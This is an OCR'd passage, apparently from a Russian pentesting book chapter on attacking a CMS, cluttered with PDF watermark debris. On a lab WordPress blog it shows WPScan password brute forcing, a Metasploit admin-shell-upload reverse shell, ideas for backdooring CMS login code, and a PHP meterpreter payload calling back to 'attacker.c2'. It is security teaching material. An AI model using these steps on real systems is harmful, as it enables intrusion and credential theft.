|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Взлом кода с помощью бэкдора 327 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Профиль сканирования SQL injection в Arachni также можно использовать |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
для проверки проблемы, обнаруженной ранее с помощью WPScan, в блоге
cookingwithfire.local.
Этот профиль должен завершить работу намного быстрее, чем сканирование по умолчанию.
Рис.12.6. SQL-инъекция,обнаруженная Arachni
Присмотревшись, можно заметить, что Arachni нашел SQL-инъекцию по времениотклика,втовремякакsqlmapсмогподтвердитьналичиеуязвимости, используя метод,основанный на ошибках.Техническидля эксплуатации этого конкретного приложения можно использовать оба метода,но метод,основанный на ошибках, предпочтителен. Атаки, основанные на времени отклика, по сути, медленные. Если Arachni обнаружит уязвимость, связанную с такой SQLинъекцией, возможно, неплохо будет нацелить sqlmap на тот же URL-адрес и посмотреть, можно ли найти что-нибудь более надежное.
Взлом кода с помощью бэкдора
Как только получим доступ к экземпляру CMS, такому как WordPress, Drupal или Joomla,используем несколько способов,чтобы закрепиться в коде или даже выполнить горизонтальное или вертикальное повышение привилегий. Мы можем внедрить вредоносный PHP-код, который позволит нам получить доступ по оболочке по желанию.Выполнение кода–это отлично,но в некоторых случаях нам не обязательно нужно именно оно. Существуют и другие способы эксплуатации уязвимости приложения. В качестве альтернативы можно модифицировать файлы ядра CMS, чтобы перехватывать учетные данные в виде открытого текста, когда пользователи и администраторы входят в систему.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
Взлом кода с помощью бэкдора 329 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
WPScan может получить учетные данные конкретной учетной записи,исполь- |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
зуя опцию --usernames и список слов, предоставляемый опцией --passwords. Для этой атаки будем использовать список слов SecLists rockyou-10.txt и выберем в качестве жертвы mary. Как и раньше, можем вызвать wpscan, применив параметр --url, затем укажем имя пользователя и укажем параметру
passwords на файл rockyou-10.txt из SecLists.
root@kali:~# wpscan --url http://cookingwithfire.local/ --usernames mary --passwords ~/tools/SecLists/Passwords/Leaked- Databases/rockyou-10.txt
[+]Starting the password brute forcer
[+][SUCCESS] Login : mary Password : spongebob
Brute Forcing 'mary' Time: 00:00:01 <=============== > (87 / 93) 93.54% ETA: 00:00:00
+---- |
+ |
------- |
+------ |
+----------- |
+ |
| Id | |
Login |
| Name | Password |
| |
||
+---- |
+------- |
|
+------ |
+----------- |
+ |
| |
| |
mary |
| |
| spongebob | |
|
+---- |
+------- |
|
+------ |
+----------- |
+ |
[+]Requests Done: 441
[+]Memory used: 41.922 MB
[+]Elapsed time: 00:00:12
Через некоторое время учетные данные mary подтверждаются, и мы можем выполнить вход от имени этого пользователя.
Заходя через пользовательский интерфейс WordPress, мы заметили, что у mary повышен уровень доступа к блогу. Мы можем использовать эту учетную запись для создания реверсной оболочки, которая даст нам доступ к базовой операционной системе.
Это легко сделать с помощью Metasploit или через панель администратора. Metasploit несколько шумный, и в случае сбоя он может оставить артефакты, которые предупредят администраторов,если их вовремя не удалить.Однако в отдельных ситуациях скрытность не имеет первостепенного значения, и этот модуль отлично подойдет.
МодульMetasploitwp_admin_shell_upload подключитсяксайтунаWordPress и выполнит аутентификацию с использованием только что обнаруженных учетных данных. Он продолжит загрузку вредоносного плагина, который создаст реверсную оболочку для доступа с машины, с которой осуществляется атака.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 330 Глава 12.Атака на CMS |
w Click |
to |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
На нашем экземпляре Kali, как и раньше, можно запустить Metasploit с по- |
|
|
|
e |
|
||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
мощью команды msfconsole.
root@kali:~# msfconsole -q
Загрузим эксплойт wp_admin_shell_upload с помощью команды use.
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name |
Current Setting |
Required Description |
------------------- -------- -----------
PASSWORD |
spongebob |
yes |
The WordPress |
|
|
|
password to |
|
|
|
authenticate with |
Proxies |
|
no |
A proxy chain of format |
|
|
|
type:host:port[ |
|
|
|
,type:host:port][...] |
RHOST |
cookingwithfire.local |
yes |
The target address |
RPORT |
80 |
yes |
The target port (TCP) |
SSL |
false |
no |
Negotiate SSL/TLS for |
|
|
|
outgoing connections |
TARGETURI |
/ |
yes |
The base path to the |
|
|
|
WordPress application |
USERNAME |
mary |
yes |
The WordPress username |
|
|
|
to authenticate with |
VHOST |
|
no |
HTTP server virtual |
|
|
|
Host |
Есть несколько опций, которые нам нужно заполнить правильной информацией,прежде чем сможем запустить эксплойтв надежде получить оболочку обратно.
Запустим модуль exploit с помощью команды run.
msf exploit(unix/webapp/wp_admin_shell_upload) > run
[*]Started reverse TCP handler on 10.0.5.42:4444
[*]Authenticating with WordPress using mary:spongebob...
[+] Authenticated with WordPress
[*]Preparing payload...
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
Взлом кода с помощью бэкдора 333 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
стабильности, она предоставляет нам значительную часть функциональности |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
типичной реверсной оболочки Meterpreter.
При скачивании полезной нагрузки в Metasploit,в отличие отгенерации полезной нагрузки с помощью утилиты MSFvenom, у нас есть команда generate. Эта команда может показать нам все опции, доступные для создания новой полезной нагрузки.
msf payload(php/meterpreter/reverse_tcp) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS: |
|
-E |
Force encoding. |
-b <opt> |
The list of characters to avoid: '\x00\xff' |
-e <opt> |
The name of the encoder module to use. |
-f <opt> |
The output file name (otherwise stdout) |
-h |
Help banner. |
-i <opt> |
the number of encoding iterations. |
-k |
Keep the template executable functional |
-o <opt> |
A comma separated list of options in VAR=VAL format. |
-p <opt> |
The Platform for output. |
-s <opt> |
NOP sled length. |
-t <opt> |
The output format: |
bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell
,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx -exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,htapsh, jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,pshnet, psh-reflection,vba,vba-exe,vba-psh,vbs,war
-x <opt> The executable template to use
В случае с полезной нагрузкой PHP мало какие из этих опций будут иметь влияние. Мы можем сгенерировать необработанную полезную нагрузку, которая была бы PHP-кодомдля модуля stager.Нам не нужно записыватьее в файл. Оычно она довольно маленькая, и мы можем скопировать ее прямо с вывода терминала.
msf payload(php/meterpreter/reverse_tcp) > generate -t raw
/*<?php /**/ error_reporting(0); $ip = 'attacker.c2'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s =
